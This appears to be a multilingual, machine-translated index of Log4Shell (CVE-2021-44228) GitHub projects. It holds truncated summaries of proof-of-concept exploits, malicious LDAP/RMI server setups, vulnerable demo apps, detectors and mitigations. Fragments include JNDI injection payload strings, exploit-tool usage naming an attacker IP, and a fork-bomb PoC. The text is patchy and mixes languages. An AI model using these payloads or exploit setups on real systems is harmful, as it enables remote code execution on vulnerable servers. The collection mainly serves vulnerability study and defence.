detect-log4j-exploitable

CVE-2021-44228 Ein Angreifer, der Logmeldungen oder Parameter von Logmeldungen kontrollieren kann, kann beliebigen Code ausführen, der von LDAP-Servern geladen wird, wenn die Substitution von Nachrichten-Lookups aktiviert ist. Dieses Skript hilft, den log4j-Exploit im laufenden Prozess zu erkenne...

log4j2-CVE-2021-44228

Beispiel für eine verwundbare Log4j2-Anwendung CVE-2021-44228 Betroffene Versionen: alle Versionen von 2.0-beta9 bis 2.14.1 Diese Anwendung basiert auf einer Spring-Boot-Webanwendung, die für CVE-2021-44228 anfällig ist. Sie verwendet Log4j 2.14.1 über spring-boot-starter-log4j2 2.6.1. Ausführen...

CVE-2021-44228

Log4Shell Proof-Of-Concept Dieses Repository ist ein Proof-of-Concept für die Sicherheitslücke CVE-2021-44228. Es ist von diesem Repo abgeleitet. In diesem Repository habe ich ein Beispiel für eine anfällige Anwendung und eine Demonstration erstellt, die zeigt, wie man sie ausnutzt. Komponenten d...

log4j2-test

Verificação da vulnerabilidade de execução remota de código LDAP do Log4j2 2.14.1 CVE-2021-44228 🎈 Testado em ambiente Spring Boot 2.x Aviso de vulnerabilidade https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml : Redução da versão do Log4j2 para a versão vulnerável root@kitploi...

CVE-2021-44228-Apache-Log4j

CVE-2021-44228Apache Log4j Remote Code Execution） Versões afetadas: todas as versões de 2.0-beta9 até 2.12.1 e de 2.13.0 até 2.15.0 Avisos / Boletins de segurança vinculados ao Log4Shell CVE-2021-44228 Uso: 1. Baixe o projeto e compile o InjectClazz.java root@kitploit: download git clone...

JNDI-Exploit-1.2-log4shell

JNDI-Exploit-1.2-log4shell Detalhes : CVE-2021-44228 Uso : root@kitploit: ----------------------------------------------------- java -jar JNDIExploit-1.2.jar -i AttackerIP -i, --ip Local ip address -l, --ldapPort Ldap bind port default: 1389 -p, --httpPort Http bind port default: 8080 -u, --usage...

log4j-cve-2021-44228

Log4j CVE-2021-44228 e CVE-2021-45046 Pré-requisitos Use um JDK vulnerável, por exemplo JDK 1.8.0181 Uso Servidor malicioso O servidor malicioso implanta os seguintes endpoints: 1389 Servidor LDAP 1099 Servidor RMI 8081 Servidor HTTP root@kitploit: ./gradlew :malicious-server:bootRun Aplicação...

homelab-CVE-2021-44228

Homelab: Log4Shell CVE-2021-44228 no Apache Solr Ambiente controlado em Docker para reproduzir e estudar a vulnerabilidade Log4Shell no Apache Solr. O Ambiente Alvo solr-lab: Apache Solr v8.11.0 vulhub/solr:8.11.0 rodando uma versão vulnerável do Log4j. Atacante kali-lab: Container Kali Linux...

CVE-2021-44228

CVE-2021-44228-Checker Dies ist das Repository zum Prüfen auf die Schwachstelle CVE-2021-44228. Dies ist ein PoC, der nur Zeichenketten anzeigt, ohne externe Klassen zu laden. Er kann nicht zur Ausführung beliebigen Codes verwendet werden. Wie funktioniert es? Schritt 1: Serveranwendung ausführen...

CVE-2021-44228-Log4Shell-

CVE-2021-44228-Log4Shell- प्रवेश परीक्षण 1. दुर्भावनापूर्ण LDAP सर्वर बनाएं Marshalsec का उपयोग करके root@kitploit: !/bin/bash Script: startldapserver.sh Yêu cầu: Cài đặt Java và Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101"...

test-44228

test-44228 CVE-2021-44228 के लिए एक सरल उदाहरण लॉग4शेल भेद्यता को प्रदर्शित करने के लिए दो java CLIs लागू करता है, एक log4j v1.x का उपयोग करता है और दूसरा log4j 2.x का। यह भी देखें: https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.oracle.com/security-alerts/alert-cve-2021-44228.html...

log4j2-issue-check

Bewerten Sie das Log4Shell: RCE 0-day Sicherheitslücke Dieses Repository enthält den Code zur Bewertung der Log4j2-Sicherheitslücke CVE-2021-44228 Weitere Details https://www.lunasec.io/docs/blog/log4j-zero-day/ So testen Sie es Senden Sie eine GET-Anfrage mit dem Abfrageparameter...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell Preuve de concept Les fonctionnalités JNDI d'Apache Log4j2 =2.14.1 utilisées dans la configuration, les messages de journalisation et les paramètres ne protègent pas contre les points de terminaison LDAP contrôlés par un attaquant ni contre d'autres points de terminaison...

log4j-jndi-be-gone

log4j-jndi-be-gone أداة تعتمد على وكيل Java من Byte Buddy لإصلاح الثغرة CVE-2021-44228 ثغرة "JNDI LDAP" في log4j 2.x. تقوم بثلاثة أشياء: تعطيل معالج الطريقة الداخلية لسلسل النصوص بتنسيق jndi: "عمليات البحث". تسجيل رسالة على System.err أي stderr تشير إلى محاولة JNDI لـ log4j بما في ذلك سلسلة النص...

log4j-exploit-fork-bomb

log4j-exploit-mit-fork-bomb 💣💥💀 Proof of Concept: Beispiel für das Starten einer Fork-Bombe auf einem entfernten Server aufgrund der Sicherheitslücke CVE-2021-44228 1. Erstellen eines LDAP-Servers des Angreifers Modul server, der Darstellungen von Strings und Code ausgibt Modul payload 2. Erstell...

ModSec-log4j2

Testen der ModSec-Regel Voraussetzungen Docker installiert haben Java auf Ihrem Rechner installiert haben Ausführen des Tests Das Repository klonen Führen Sie den folgenden Befehl aus, um den WAF ModSec und die verwundbare Anwendung zu starten root@kitploit: docker stack deploy -c...

CVE-2021-44228-Demo

CVE-2021-44228-Demo مثال على استغلال CVE-2021-44228 لحقن الكود عن بُعد عبر كل من RMI و LDAP. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit تشغيل...

CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-

CVE-2026-21011 – Log4j-artige JNDI-Injection in benutzerdefiniertem Logger Simuliert Programmcode Java-Simulation in Python root@kitploit: log4jsim.py - Custom logger that evaluates $... patterns import subprocess, re def logmessage: Vulnerable: looks up JNDI-like syntax and executes pattern =...

log4j-vul

log4j-vul هذا المشروع يهدف فقط إلى عرض ثغرة Apache Log4j2 - المعروفة باسم CVE-2021-44228 جافا: java version "1.8.0121" الترجمة: من مجلد src javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java التنفيذ\التشغيل: من مجلد src java -classpath...

Apache-Log4j-POC

Apache-Log4j-POC CVE-2021-44228 Apache Log4j LDAP lookup भेद्यता का प्रूफ ऑफ कॉन्सेप्ट आप इस भेद्यता के बारे में यहाँ और पढ़ सकते हैं: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ प्रदान किया गया LDAP सर्वर जो दुर्भावनापूर्ण ऑब्जेक्ट लौटाता है, उसे कैसे चलाएँ ?...